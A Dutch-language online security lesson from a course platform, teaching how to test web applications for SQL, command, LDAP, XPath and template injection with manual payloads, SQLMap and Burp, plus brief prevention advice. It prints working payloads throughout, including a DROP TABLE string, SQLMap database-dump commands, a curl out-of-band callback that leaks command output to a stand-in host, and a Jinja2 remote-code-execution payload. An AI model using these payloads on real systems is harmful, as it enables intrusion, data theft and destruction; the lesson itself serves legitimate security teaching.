Cyber Security Academy · Les

Testen op injectiekwetsbaarheden

Gebruik SQLMap, handmatige payloads en Burp om te testen op SQL-, command- en LDAP-injectie.

Les 2 van 413 stappen

Testen op injectiekwetsbaarheden is een gratis Cyber Security Academy-les op CoddyKit. Dit is les 2 van 4. Je kunt 3 lessen uit dit leerpad gratis volledig lezen — daarna ontgrendelt CoddyKit PRO alle lessen, plus praktische oefeningen met een ingebouwde code-editor en een AI-tutor die 24/7 beschikbaar is. Deze les maakt deel uit van het leertraject Cyber Security Academy. Je voortgang wordt gesynchroniseerd op het web en in de CoddyKit-app. De cursus Cyber Security Academy bevat in totaal 4 lessen.

Injectieklassen

Injectie vindt plaats wanneer niet-vertrouwde gegevens als onderdeel van een opdracht of query naar een interpreter worden gestuurd. De interpreter kan gegevens niet van opdrachten onderscheiden en voert daardoor door een aanvaller beheerde logica uit. SQL-, opdracht-, LDAP-, XPath- en sjablooninjectie vallen allemaal in deze klasse.

SQL-injectie: handmatig testen

Begin met eenvoudige testwaarden om SQL-injectie op te sporen. Een enkel aanhalingsteken veroorzaakt een SQL-syntaxisfout in kwetsbare toepassingen. Controleer foutmeldingen, verschillen in antwoordlengte en de antwoordtijd.

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLMap voor geautomatiseerde SQL-injectie

SQLMap automatiseert het opsporen en misbruiken van SQL-injectie: het detecteert injectiepunten, identificeert het DBMS en kan databases uitlezen, bestanden lezen en code op het besturingssysteem uitvoeren op kwetsbare systemen.

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

Opdrachtinjectie testen

Opdrachtinjectie vindt plaats wanneer invoer van gebruikers wordt doorgegeven aan shellfuncties van het besturingssysteem. Test met shell-metatekens: puntkomma's, pipes, backticks en $() voor opdrachtsubstitutie.

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

LDAP-injectie

LDAP-injectie wijzigt LDAP-query's die worden gebruikt voor authenticatie en zoekopdrachten in mappen. Test authenticatievelden met: *)(uid=*))(|(uid=* om filters te omzeilen.

XPath-injectie

XPath-injectie richt zich op XML-gebaseerde authenticatiesystemen. Het is vergelijkbaar met SQLi — testwaarden wijzigen XPath-query's: ' or '1'='1 om authenticatie te omzeilen.

Sjablooninjectie (SSTI)

Server-Side Template Injection vindt plaats wanneer invoer van gebruikers in een sjabloonengine wordt weergegeven (Jinja2, Twig, Freemarker). Je kunt dit detecteren door {{7*7}} in te voegen — als het antwoord 49 toont, is er sprake van SSTI.

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Burp gebruiken voor injectietests

Stuur verzoeken naar Repeater en voeg handmatig testwaarden in elke parameter in. Gebruik Intruder om fuzztesten met injectiewoordenlijsten te automatiseren (SecLists bevat uitstekende injectietestwaarden).

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

Blinde injectie detecteren

Gebruik bij ontbrekende zichtbare uitvoer: tijdvertragingen om uitvoering te bevestigen, DNS-terugbelverzoeken buiten de band (Burp Collaborator of interactsh) en antwoorden op basis van booleaanse waarden (wijzigingen in de inhoudslengte).

Foutmeldingen van toepassingen lezen

Uitgebreide foutmeldingen onthullen het databasetype, de querystructuur en bestandspaden — onmisbaar voor het maken van nauwkeurige testwaarden. Test naast normale testwaarden altijd ook invoer die foutopsporing of fouten onthult.

Naslagwerk voor preventie

Injectie voorkom je met geparametriseerde query's (SQLi), invoervalidatie en het onschadelijk maken van shelltekens (opdrachtinjectie), en door te voorkomen dat invoer van gebruikers in sjablonen wordt weergegeven (SSTI). Ontwikkelaars moeten dit begrijpen om veilige code te schrijven.

Korte controle

Wat bevestigt de SSTI-detectiewaarde {{7*7}} wanneer het antwoord 49 toont?

Samenvatting: injectietests

Injectiekwetsbaarheden ontstaan doordat gegevens en opdrachten worden vermengd. Test elke invoer die door de gebruiker wordt beheerd met testwaarden voor SQL-, opdracht-, sjabloon- en LDAP-injectie. Gebruik SQLMap voor geautomatiseerde SQL-injectie, Burp Repeater voor handmatige tests en technieken met tijdvertragingen of buiten-de-bandcommunicatie voor blinde uitbuiting. Leg testwaarden en bewijs altijd vast voor het rapport.

Gratis beginnen

Leer Cyber Security Academy met een AI-tutor — gratis

Schrijf echte code en voer die uit in je browser, krijg direct hulp van een AI-tutor die 24/7 beschikbaar is en ga verder waar je gebleven bent op het web of in de app.

Cursussen
76
Lessen
303

Veelgestelde vragen

Is de les “Testen op injectiekwetsbaarheden” gratis?

Ja — je kunt hier op het web alle 3 lessen van het leerpad Cyber Security Academy, waaronder “Testen op injectiekwetsbaarheden”, gratis volledig lezen. Daarna ontgrendelt CoddyKit PRO alle lessen, plus interactieve oefeningen met een ingebouwde code-editor en een AI-tutor die 24/7 beschikbaar is. De cursus Cyber Security Academy bevat in totaal 4 lessen.

Wat leer ik in “Testen op injectiekwetsbaarheden”?

Gebruik SQLMap, handmatige payloads en Burp om te testen op SQL-, command- en LDAP-injectie. Je oefent met Cyber Security Academy door code rechtstreeks in de browser uit te voeren. Een AI-begeleider die 24/7 beschikbaar is beantwoordt je vragen terwijl je de les doorwerkt.

Heb ik ervaring nodig om met Cyber Security Academy te beginnen?

Ervaring vooraf is niet nodig. Cyber Security Academy op CoddyKit is opgebouwd voor beginners tot gevorderden, zodat je hier of bij het begin kunt starten en in je eigen tempo kunt leren. Dit is les 2 van 4.

Hoe lang duurt de les “Testen op injectiekwetsbaarheden”?

De meeste lessen van CoddyKit duren ongeveer 5–10 minuten. Elke les is kort en interactief, zodat je gestaag vooruitgaat en op het web en in de app precies verdergaat waar je was gebleven.

Kan ik code schrijven en uitvoeren in deze les over Cyber Security Academy?

Ja. Elke les over Cyber Security Academy bevat een ingebouwde code-editor, zodat je rechtstreeks in je browser echte code kunt schrijven en uitvoeren en direct feedback van AI krijgt — lokale installatie is niet nodig.

Alle lessen in deze cursus

  1. Burp Suite Proxy en requests onderscheppen
  2. Testen op injectiekwetsbaarheden
  3. Authenticatie- en sessietests
  4. Kwetsbaarheden in bestandsuploads en SSRF
← Terug naar Cyber Security Academy